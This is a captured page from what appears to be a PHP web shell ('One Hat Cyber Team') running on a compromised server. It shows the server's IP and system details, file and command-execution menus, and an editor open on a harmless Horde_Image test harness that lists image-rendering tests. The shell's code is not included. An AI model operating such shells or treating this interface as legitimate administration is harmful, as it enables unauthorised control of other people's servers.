⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
tests
/
Horde_Image
/
Edit File: runtest.php
<?php /** * Test harness for generating the test images for Horde_Image tests */ require_once __DIR__ . '/conf.php'; require_once $horde . '/lib/Application.php'; Horde_Registry::appInit( 'horde', array('authentication' => 'none', 'session_control' => 'none') ); header('Content-Type: text/html'); $allTests = array( 'testInitialState' => 'Test initial state. Solid blue square', 'testDefaultImageFormatDuringLoad' => 'Should load as default image type of PNG even though source file is JPG', 'testForceImageFormatDuringLoad' => 'Forces image format to JPG during loadFile (Default is PNG)', 'testChangeImageFormatAfterLoad' => 'Changes image format after loaded from file (Should be JPG)', 'testPrimitivesTransparentBG' => 'Transparent background, various primitives. Cirlce should be above the rectangles.', 'testTransparentBGWithBorder' => 'Test transparent background with border preserving transparency.', 'testTransparentPrimitivesReversed' => 'Test ordering of primitives. This should show the circle *below* the rectangles.', 'testAnnotateImage' => 'Annotate Image with Hello World in center left', 'testPolylineCircleLineText' => 'various other primitives, as well as state of stroke color, width etc...', 'testRoundCorners' => 'Rounded corners with transparent background.', 'testRoundCornersRedBG' => 'Rounded corners with red background.', 'testRoundCornersDropShadowTransparentBG' => 'Rounded corners with a drop shadow on a transparent background.', 'testRoundCornersDropShadowYellowBG' => 'Rounded corners, with a drop shadow on a yellow background', 'testBorderedDropShadowTransparentBG' => 'Thumbnail with border and drop shadow over a transparent background.', 'testBorderedDropShadowTransparentLoadString' => 'Same as above, but using loadString after the image has been instantiated.', 'testBorderedDropShadowBlueBG' => 'Thumbnail with border, drop shadow over a blue background.', 'testPolaroidTransparentBG' => 'Polaroid effect with transparent background.', 'testPolaroidBlueBG' => 'Polaroid effect with blue background.', 'testPlainstackTransparentBG' => 'Thumbnail stack on transparent background.', 'testPlainstackBlueBG' => 'Thumbnail stack on a blue background.', 'testRoundstackTransparentBG' => 'Thumbnail stack with rounded borders on a transparent background', 'testRoundstackBlueBG' => 'Thumbnail stack, rounded corners on a blue background', 'testPolaroidstackTransparentBG' => 'Polaroid stack on a transparent background.', 'testPolaroidstackBlueBG' => 'Polaroid stack on a blue background', 'testInitialStateAfterLoad' => 'Initial state after loading an existing image.', 'testResize' => 'Test resize method.', 'multipage' => 'Test Multipage tiffs', 'liquid' => 'Test Seam Carving', 'smart' => 'Test Smart Crop (Center of Edginess)', 'crop' => 'Basic Crop Test' ); ?> <html> <head> <title>Horde_Image Tests</title> <style type="text/css"> img { max-width: 600px; } </style> </head> <body style="background-color:gray"> <table> <thead><td>Effect</td><td>Im</td><td>Imagick</td><td>Gd</td><td>Svg</td></thead> <?php $url = new Horde_Url('im.php'); foreach ($allTests as $name => $description) { echo '<tr><td text-align="top">' . $description . '</td><td>'; echo '<img src="' . $url->copy()->add('test', $name) . '" />'; echo '</td><td text-align="top">'; echo '<img src="' . $url->copy()->add(array('test' => $name, 'driver' => 'Imagick')) . '" />'; echo '</td><td text-align="top">'; echo '<img src="' . $url->copy()->add(array('test' => $name, 'driver' => 'Gd')) . '" />'; echo '</td><td text-align="top">'; echo '<img src="' . $url->copy()->add(array('test' => $name, 'driver' => 'Svg')) . '" />'; echo '</td></tr>'; } echo '</table>'; ?></body></html>
Simpan